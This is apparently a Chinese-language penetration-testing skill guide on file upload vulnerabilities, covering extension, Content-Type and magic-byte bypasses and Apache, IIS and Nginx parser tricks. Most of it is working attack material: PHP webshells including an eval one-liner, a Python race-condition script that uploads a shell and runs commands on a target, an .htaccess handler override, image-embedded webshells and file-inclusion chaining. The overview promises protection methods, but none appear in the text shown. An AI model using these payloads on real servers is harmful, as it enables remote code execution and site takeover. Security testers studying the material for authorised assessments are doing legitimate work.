file-upload-testing

文件上传漏洞测试

概述

文件上传功能是Web应用常见功能，但存在多种安全风险。本技能提供文件上传漏洞的检测、利用和防护方法。

漏洞类型

1. 未验证文件类型

仅前端验证：

// 可被绕过
if (!file.name.endsWith('.jpg')) {
  alert('只允许上传图片');
}

2. 文件内容未验证

仅检查扩展名：

// 危险代码
if (pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == 'jpg') {
  move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
}

3. 路径遍历

未过滤文件名：

filename: ../../../etc/passwd
filename: ..\..\..\windows\system32\config\sam

4. 文件名覆盖

可预测的文件名：

uploads/1.jpg
uploads/2.jpg

测试方法

1. 基础检测

测试各种文件类型：

• .php, .jsp, .asp, .aspx
• .php3, .php4, .php5, .phtml
• .jspx, .jspf
• .htaccess, .htpasswd

测试双扩展名：

shell.php.jpg
shell.jpg.php

测试大小写：

shell.PHP
shell.PhP

2. 内容类型绕过

修改Content-Type：

Content-Type: image/jpeg
# 但文件内容是PHP代码

Magic Bytes：

// 在PHP代码前添加图片头
GIF89a<?php phpinfo(); ?>

3. 解析漏洞

Apache解析漏洞：

shell.php.xxx  # Apache可能解析为PHP

IIS解析漏洞：

shell.asp;.jpg
shell.asp:.jpg

Nginx解析漏洞：

shell.jpg%00.php

4. 竞争条件

文件上传后立即访问：

# 上传.php文件，在上传完成但删除前访问
import requests
import threading

def upload():
    files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
    requests.post('http://target.com/upload', files=files)

def access():
    time.sleep(0.1)
    requests.get('http://target.com/uploads/shell.php?cmd=id')

threading.Thread(target=upload).start()
threading.Thread(target=access).start()

利用技术

PHP WebShell

基础WebShell：

<?php system($_GET['cmd']); ?>

一句话木马：

<?php eval($_POST['a']); ?>

绕过过滤：

<?php
$_GET['cmd']($_POST['a']);
// 使用: ?cmd=system

.htaccess利用

上传.htaccess：

AddType application/x-httpd-php .jpg

然后上传shell.jpg（实际是PHP代码）

图片马

GIF图片马：

GIF89a
<?php
phpinfo();
?>

PNG图片马：

# 使用工具将PHP代码嵌入PNG
python3 png2php.py shell.php shell.png

文件包含配合

如果存在文件包含漏洞：

# 上传包含PHP代码的图片
# 然后通过文件包含执行
?file=uploads/shell.jpg